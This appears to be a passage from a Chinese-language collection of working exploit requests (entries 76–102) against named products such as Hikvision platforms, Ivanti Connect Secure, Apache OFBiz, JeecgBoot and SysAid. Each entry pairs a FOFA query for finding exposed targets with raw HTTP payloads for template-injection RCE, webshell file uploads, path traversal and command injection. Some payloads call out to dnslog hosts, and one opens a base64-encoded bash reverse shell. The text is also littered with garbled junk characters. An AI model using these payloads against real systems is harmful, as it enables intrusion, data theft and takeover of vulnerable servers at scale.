Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
! [' J! x, S. e) p  w7 @" VConnection: close
$ F' n" S( J+ Z2 m7 u" iContent-Length: 211
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
  E0 O4 h; Z5 XAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1
+ Z: U- {! c2 z! z5 j( ^
" d4 j$ u* [  C/ r5 `* @{
  P4 n# K9 t6 u2 ?7 ~* w"command": "GetFZinfo",
  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
}


! M; I4 l4 q! Y5 IGET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
Host: x.x.x.x
* v/ J& B2 D* G% [3 K& H


; T( R6 d4 G5 Y+ h  E& W! r77. F22服装管理软件系统UploadHandler.ashx任意文件上传
/ r) g) D* y# a1 N. n8 PFOFA：body="F22WEB登陆"
POST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
8 M5 `7 @6 m) {6 h7 [1 @0 p6 }Connection: close
5 m5 z5 {0 w: E4 |( uContent-Length: 433
7 |+ q1 E* g' M$ _5 LAccept: */*
3 J4 x; p5 p6 @: @8 _% mAccept-Encoding: gzip, deflate
: x0 O, c1 |2 U! T' m! n& B: Z5 [# JAccept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix

------------398jnjVTTlDVXHlE7yYnfwBoix
$ m' O3 s# J% p, Z5 n: |( Y, B3 YContent-Disposition: form-data; name="folder"
- Q, ?; d, q# `$ h5 l
3 r& L# ?. o+ Z: X* j7 K/upload/udplog
( [. B5 k" g7 Y, F, K4 _------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Filedata"; filename="1.aspx"
Content-Type: application/octet-stream

' w4 R- u: b0 j$ e% l) z1 bhello1234567
# D( K9 H, F) u4 T3 `------------398jnjVTTlDVXHlE7yYnfwBoix
( |' ?7 }' B) E! w/ W" N' f+ T5 nContent-Disposition: form-data; name="Upload"

7 l$ [8 d* Q$ z! V, n* O$ mSubmit Query
------------398jnjVTTlDVXHlE7yYnfwBoix--

0 s8 f: T& k) `( d) D
$ C$ x" |( l! L! Q7 t. T; O78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
FOFA：icon_hash="2001627082"
" E: B+ R7 j$ z) ]  F" w# tPOST /Platform/System/FileUpload.ashx HTTP/1.1
5 b( h6 M1 c0 A  ^1 f1 |% ~# ^# V- nHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
% ^5 v" \6 D" P9 u5 m* F4 LContent-Length: 336
Accept-Encoding: gzip
% U. w9 E7 ]% S! z' eContent-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l
0 L- d* x( G8 y" F( n
1 n4 m! h) Z; Y) m  w------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
Content-Type: image/png
- e8 b2 k" x4 H$ g& g) i$ s" E6 B6 x
$ |  ?( x+ u3 m/ r, O, BYsOxWxSvj1KyZow1PTsh98fdu6l
------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="target"

" a7 ?! a: O' Y/ \/Applications/SkillDevelopAndEHS/
------YsOxWxSvj1KyZow1PTsh98fdu6l--
& ~+ R: R2 M  y
  F! h$ _1 o4 T# L; y7 v
GET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
  x( k8 p' Y( _Host: x.x.x.x
, O8 G, h( S  H6 H2 w- P) p
$ f4 n: w" K5 N% o/ `
! \! k/ [' B; P" G& G% K/ T; e79. BYTEVALUE 百为流控路由器远程命令执行
FOFA：BYTEVALUE 智能流控路由器
' A0 X( o1 s! k( B9 n+ _GET /goform/webRead/open/?path=|id HTTP/1.1
; a2 q" N( W7 F; \. I, b3 o/ d: KHost:IP
$ \( Z1 a0 D/ QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
- ~9 \2 H' H; V) mAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
' P$ u" M8 I) d( s, W( I; [Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1


80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
FOFA：app="速达软件-公司产品"
0 I0 L: U/ l4 a1 Y* c7 L- L; b+ ePOST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
: N3 k/ w! k: K* C; n' pContent-Length: 27
4 F3 }  P* A1 H7 ZAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
. G( I6 h0 J6 A2 r! QAccept-Encoding: gzip, deflate
2 R- z5 \" u( H; |7 M6 OAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
' j9 ~) R( @2 ~$ Z) a$ T* cConnection: close
) u. D( L/ L, u/ hContent-Type: application/octet-stream
; b( u. W: t# ~2 U: ~Upgrade-Insecure-Requests: 1
+ i: ?5 {2 z& r3 h  F$ e0 r
3 M* \8 T' e  x# l. `<% out.print("oessqeonylzaf");%>
) w) s% C1 c  x) N- q# l3 E

GET /xykqmfxpoas.jsp HTTP/1.1
0 G! }2 Y8 T. M0 h0 {  @# u, E; HHost: x.x.x.x
% @$ J1 t# P1 h$ uUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
' @% O4 C* [7 g4 G5 I* v1 ]3 M8 qAccept-Encoding: gzip
0 W2 g2 }( y! v
  Z5 f' }; t9 B6 t7 Q$ t1 J
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
FOFA：app="uniview-视频监控"
GET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
4 Y! O! r7 O4 B3 e, o1 d2 ]4 JHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
* T9 s  ]* O, LConnection: close
. T+ d- f0 A) W6 pAccept-Encoding: gzip


82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
5 o9 x  ^+ C& s1 E! RFOFA：app="思福迪-LOGBASE"
POST /bhost/test_qrcode_b HTTP/1.1
Host: BaseURL
: Y4 j+ |0 @8 c  v3 ?User-Agent: Go-http-client/1.1
Content-Length: 23
Accept-Encoding: gzip
# t$ O# X' Q3 @2 e2 j9 J0 NConnection: close
Content-Type: application/x-www-form-urlencoded
" L# f1 [3 _+ |1 |0 rReferer: BaseURL
! f% f1 ~2 I$ s/ d0 H( \) B1 \
z1=1&z2="|id;"&z3=bhost


83. JeecgBoot testConnection 远程命令执行
FOFA：title=="JeecgBoot 企业级低代码平台"
% X9 E" x  ~! R! Z
5 }6 y" {* V; J3 X
9 `1 {* ]( Q! N/ B9 Z, wPOST /jmreport/testConnection HTTP/1.1
9 Z0 {  r% b3 B" |% ]5 SHost: x.x.x.x
- r* W9 a( z5 \. O8 A* l7 uUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
6 |( i+ Y& X3 t! @* WContent-Length: 8881
7 P" e* U& i6 L1 W5 N0 E& ^) N7 ^Accept-Encoding: gzip
Cmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
# J4 a( d4 T- l  N/ Z9 @+ ?Content-Type: application/json

% [. o6 J9 k' C) uPAYLOAD

0 V: D9 |8 Q/ P6 s" ?84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
) |3 ?$ J- l3 r7 b# n( g& V( e  aFOFA：title=="JeecgBoot 企业级低代码平台"
+ i$ `% F0 ^2 _% f0 T: G
+ a- V# f6 @% V" f" z9 ?: J

POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: 192.168.40.130:8080
% N# c- T  x# h, N. iUser-Agent: curl/7.88.1
1 \8 ^$ p* X( }( xContent-Length: 156
Accept: */*
Connection: close
Content-Type: application/json
Accept-Encoding: gzip

{
6 V( L6 q9 X4 x2 A7 g1 L "sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
  "type": "0"
}


85. SysAid On-premise< 23.3.36远程代码执行
6 j6 y: n* L9 N3 {+ Z7 {  M* Y0 ~9 RCVE-2023-47246
; L# k6 q8 g( M( h, v  c- G( mFOFA：body="sysaid-logo-dark-green.png"
EXP数据包如下，注入哥斯拉马
POST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
% ]- e3 r  O% ^* S  S3 M% ~Content-Type: application/octet-stream
' O# `# w0 U; }+ iAccept-Encoding: gzip

9 Z3 y4 }) G# e- _! n) fPAYLOAD
) E- g, @) `8 J: u% Y; ~+ S7 |
回显URL：http://x.x.x.x/userfiles/index.jsp
7 t0 }( n6 `4 z7 }- H+ P+ M. P
86. 日本tosei自助洗衣机RCE
* V  p: s8 f' aFOFA：body="tosei_login_check.php"
POST /cgi-bin/network_test.php HTTP/1.1
Host: x.x.x.x
! n* Q& D* X. A" yUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
8 ]! k! `; V. n/ @- z: W% `Connection: close
Content-Length: 44
Accept: */*
Accept-Encoding: gzip
Accept-Language: en
3 ]6 i* _% n3 u: ~7 C" dContent-Type: application/x-www-form-urlencoded

host=%0acat${IFS}/etc/passwd%0a&command=ping
# r! Q9 x# C# {* I/ F
! X+ ?- l& `, e7 f1 A+ u; ?  I( k. R
87. 安恒明御安全网关aaa_local_web_preview文件上传
5 R. I  [& P" o* m( nFOFA：title="明御安全网关"
- L. T( w5 {3 D7 Y( K5 x+ mPOST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
Host: X.X.X.X
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
, L% z; b4 o# v" L/ g; c) Q: o& YContent-Length: 198
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd

- ?7 T, G2 |, r2 J2 q. ]8 _' a--qqobiandqgawlxodfiisporjwravxtvd
9 e" H! x1 s! ?2 X' @' T+ i' \Content-Disposition: form-data; name="123"; filename="9B9Ccd.php"
+ p% l; w3 ?7 h( v6 ^) a5 ]) H- DContent-Type: text/plain
4 h9 R7 p: A  D+ N: G: m) d$ F
2ZqGNnsjzzU2GBBPyd8AIA7QlDq
3 q& z8 o4 [+ B" H. K--qqobiandqgawlxodfiisporjwravxtvd--


/jfhatuwe.php

) J+ S4 d* f1 l+ P$ [/ U* q% D88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
FOFA：title="明御安全网关"
3 \- F3 Q4 i" q! JGET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
3 L& m- J+ m# b( C( c: F2 HHost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
1 S( D2 o3 E# A; l8 q. h* U. `Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
! R+ `$ T" E1 A6 h) S0 B5 CAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
9 m4 l+ _& I2 o0 A- hConnection: close

0 _2 z+ I- J9 F* e: v) M7 b& i8 M
/astdfkhl.php

89. 致远互联FE协作办公平台editflow_manager存在sql注入
FOFA：title="FE协作办公平台" || body="li_plugins_download"
POST /sysform/003/editflow_manager.js%70 HTTP/1.1
) V( @, E! |7 i0 v' k3 Q, {& aHost: x.x.x.x
. x2 G6 R) ^( T4 Z  l6 [' ]User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 41
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
# I: l1 z9 H5 L
  O  \! S9 @) m6 M3 uoption=2&GUID=-1'+union+select+111*222--+
5 O( V5 }6 n+ C, w5 U
0 ~" Z$ N" ]: `# N; H, [5 S1 o
: _- W7 k+ O  ]( m+ i90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
5 C" O8 b2 l0 D) E+ RFOFA：icon_hash="-1830859634"
POST /php/ping.php HTTP/1.1
Host: x.x.x.x
2 }7 H% \& g8 {/ `, N' D, K3 ~5 zUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Content-Length: 51
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded
2 F& p5 }4 g: R3 F: Z: |+ H& M- ^X-Requested-With: XMLHttpRequest

! Q  t3 y5 k' }% S) Rjsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig

: h1 c% \) k* I" A1 h
1 ~. j+ ?0 N& `* ]) L91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
FOFA：title="综合安防管理平台"
GET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
! y5 T+ `  g. ~  d" D  J) L6 DAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
& [$ n' m, p& n# }4 P5 r4 f
# b7 n* p7 ^4 l

1 r9 k. _0 |" }! y92. 海康威视运行管理中心session命令执行
) Y7 B1 s' _: [: i: a  S0 G* TFastjson命令执行
hunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
* m# t% p" p- W/ D- r' b1 z+ JPOST /center/api/session HTTP/1.1
Host:
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
( v* e, m, `4 W7 LContent-Type: application/json;charset=UTF-8
X-Language-Type: zh_CN
1 X/ E  `* \0 ]Testcmd: echo test
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
3 N& g2 M. u% D2 T( P( rAccept-Language: zh-CN,zh;q=0.9
; Z- f$ U# o5 i5 SContent-Length: 5778

PAYLOAD
0 s) t5 {% N  j& f4 X
  d: J% X! j: m* s5 ~# d( J, ?2 q
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=app_av_import_save HTTP/1.1
, O8 Z5 C1 O2 m9 q6 M# ]4 D% oHost: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
" |" K  i5 }. u) W: }- ~
( U6 M' s  A% r$ c------WebKitFormBoundarykcbkgdfx
# o9 B" H  K+ X- O  m7 ^" D) CContent-Disposition: form-data; name="MAX_FILE_SIZE"

' D; V* K5 J1 H$ T, l5 b+ D4 m  M: F10000000
% d! K$ @( f% D, F4 l------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
! y1 x% U+ Q; U. X2 HContent-Type: text/plain

' l' ^& t" @: Q7 C8 o6 z% k7 dwagletqrkwrddkthtulxsqrphulnknxa
3 j  i( m0 _4 t& G1 U6 M8 N/ @------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="submit_post"

( [7 v$ |  \, x: o0 `) R( yobj_app_upfile
6 ^9 T3 s8 S' T- v$ q------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="__hash__"

1 f, w" a/ ~) C$ I( q% ^5 H0b9d6b1ab7479ab69d9f71b05e0e9445
: \" Q0 `3 W# e& B------WebKitFormBoundarykcbkgdfx--


GET /attachements/xlskxknxa.txt HTTP/1.1
, O1 o- o9 U( F  b; KHost: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
2 V, g+ A4 a# O$ }+ f' e* k& v9 i! j
$ _& q/ u& S" D
! N5 x  |+ _; J0 i94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
; ~5 O. R' e( ^3 S" n- v/ s" GFOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=obj_area_import_save HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36

------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="MAX_FILE_SIZE"

  Y0 Z. p$ |" |% }10000000
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
" K. D. }: S# ?8 N, x  J1 X/ v; Y/ OContent-Type: text/plain
+ S3 B4 c7 W. x' s- q* Y
pxplitttsrjnyoafavcajwkvhxindhmu
------WebKitFormBoundarybqvzqvmt
8 J" f7 e  k+ _# N0 g7 j8 IContent-Disposition: form-data; name="submit_post"
* y! H+ w! D0 s& B3 K
obj_app_upfile
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="__hash__"
5 x1 k( k9 g, ?! m1 t
0b9d6b1ab7479ab69d9f71b05e0e9445
! g1 `0 W( S, m/ f1 O* f: \6 h------WebKitFormBoundarybqvzqvmt--
, A4 u$ F' O5 }& v3 D: q7 W) O


GET /attachements/xlskxknxa.txt HTTP/1.1
, b, v5 V2 b7 kHost: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
: W5 {1 R" a' {) q8 P5 P


95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
& u9 p" N+ ^! C5 R0 uCVE-2023-49070
FOFA：app="Apache_OFBiz"
6 |. I" e- \8 s; H6 ~/ N8 G9 T1 ]3 @POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
$ e; F6 B9 Q/ V6 L1 mHost: x.x.x.x
) h1 a6 K' H! W5 v: ]2 t8 fUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Content-Length: 889
Content-Type: application/xml
4 w# ^2 ^$ F& Q8 QAccept-Encoding: gzip
5 ~6 W4 q/ m. `3 a& G& E: ~, R
<?xml version="1.0"?>
: d5 K7 C. j& e9 \8 @1 L5 B6 O<methodCall>
   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
) O8 d/ B# }( n& i1 n* d    <params>
      <param>
) {/ d' e2 p' B      <value>
        <struct>
       <member>
          <name>test</name>
  f/ y" A  _) ^$ t, S* G/ ^          <value>
5 A7 T) p- P" Q/ q      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
          </value>
, L7 w0 R0 W* G" b* I$ W  o        </member>
3 f' e+ k* `: a$ j8 E      </struct>
1 K" l' ~/ `4 A      </value>
0 A) c( ^6 I$ b2 F# H    </param>
    </params>
</methodCall>


用ysoserial生成payload
& b$ m' m( p) }9 F4 Hjava -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"
/ d: [3 L2 X7 W; {

/ z( ]8 d7 M! E将生成的payload替换到上面的POC
. m% O! d4 z0 f" k$ q! B, V1 d  oPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
" P4 s# k8 U5 u  M; W% f7 ^' b* vHost: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Content-Length: 889
Content-Type: application/xml
' Q  {+ n# h9 C) uAccept-Encoding: gzip
/ @( k* b; q9 g* y# h
PAYLOAD

96. Apache OFBiz  18.12.11 groovy 远程代码执行
$ U/ T2 [4 V! Q3 c$ YFOFA：app="Apache_OFBiz"
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
" m4 @2 x! j, q/ O% O2 WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
( X5 T' K: R6 ]Accept: */*
$ Q" \& |* ^/ `1 F5 j6 O% r9 i, J$ }Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
. J! M2 U" v# i3 M" x* AContent-Type: application/x-www-form-urlencoded
' y1 x) A0 j  F+ }* O) n; PContent-Length: 55

groovyProgram=throw+new+Exception('id'.execute().text);

: f7 }  L' g, R
反弹shell
3 J5 S- o8 C9 `2 @5 h. m2 c$ O' l( r在kali上启动一个监听
$ S% \- m  c2 O1 }nc -lvp 7777
7 E! f  ]' H" r1 [1 C
6 `$ W! \: C2 n! _POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
. G3 U$ \5 K& t% A; G6 i4 p# fAccept: */*
! `0 R" `+ i, @0 R$ k( HAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 71

/ [* _; T% E4 _1 p) m& JgroovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();
9 i; K% S% X) f* v4 e6 y
* Q+ `8 _, K) ?" M5 t97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
" S. A* E, }/ q" f6 bFOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
* Y& \7 e* W* n3 nGET /passport/login/ HTTP/1.1
Host: 192.168.40.130:8085
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
Connection: close
. v3 T6 a3 V# e2 YCookie: rememberMe=PAYLOAD
3 V9 {2 @- A7 J0 [X-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"
$ ^4 D, f" j" A# Y; }
. z# w  e+ l5 e- f; x" y) \2 i
98. SpiderFlow爬虫平台远程命令执行
- o9 r. O) @( E/ v1 nCVE-2024-0195
FOFA：app="SpiderFlow"
POST /function/save HTTP/1.1
8 D: M" p7 N% u( J, qHost: 192.168.40.130:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
7 F  Y. `5 n  ^9 d8 @0 }( `Connection: close
+ w: `! f0 P, |3 `" JContent-Length: 121
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
1 S% [; v2 v6 m. C1 ~7 a  c+ g) O5 ]X-Requested-With: XMLHttpRequest

id=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B
1 M/ f  f1 N- u( D2 W4 W0 o& T" }7 p
8 P# q) O% \, T" U0 O, _# x
99. Ncast盈可视高清智能录播系统busiFacade RCE
CVE-2024-0305
7 V+ }! {. z% \% [1 E+ c8 ~, `FOFA：app="Ncast-产品" && title=="高清智能录播系统"
& L  D( C' t; R) @POST /classes/common/busiFacade.php HTTP/1.1
Host: 192.168.40.130:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
1 U4 u$ Z* A  i; T; E: iConnection: close
6 |+ f0 [3 O9 U) @Content-Length: 154
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
5 d7 ]( O1 p# M" J) RContent-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
$ k. X8 l  }, h/ {
%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D
; z, \! _, f% C4 {; u5 z* A' M

100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
CVE-2024-0352
FOFA：icon_hash="874152924"
POST /api/file/formimage HTTP/1.1
Host: 192.168.40.130
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
" p  z" V8 S5 j1 ~6 G5 ^7 C  SConnection: close
5 Y1 Y% ~8 ~( K' h2 I+ MContent-Length: 201
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
Accept-Encoding: gzip

------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="file";filename="IE4MGP.php"
Content-Type: application/x-php

9 p( f% U* q9 U; i& a0 z0 R; K2ayyhRXiAsKXL8olvF5s4qqyI2O
------WebKitFormBoundarygcflwtei--

2 p0 |; B+ g! r- j. _9 x
101. ivanti policy secure-22.6命令注入
CVE-2024-21887
FOFA：body="welcome.cgi?p=logo"
GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
7 D, x0 f7 a3 T) E5 m1 g9 MHost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
; u  ~+ [2 [  {' F' `  P7 uConnection: close
Accept-Encoding: gzip

' k* E. A2 u6 o# T3 ?. }% R6 H
1 k; Q* d) k2 X7 y7 ^102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
CVE-2024-21893
; D- ~. w2 a8 k8 Q+ ~1 r) cFOFA：body="welcome.cgi?p=logo"
POST /dana-ws/saml20.ws HTTP/1.1
) k5 j& ^' |6 u/ z+ T# {Host: x.x.x.x
- R6 S  A, S  ^. C! e9 {3 ]' ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
! s: u' ~! T4 @Connection: close
Content-Length: 792
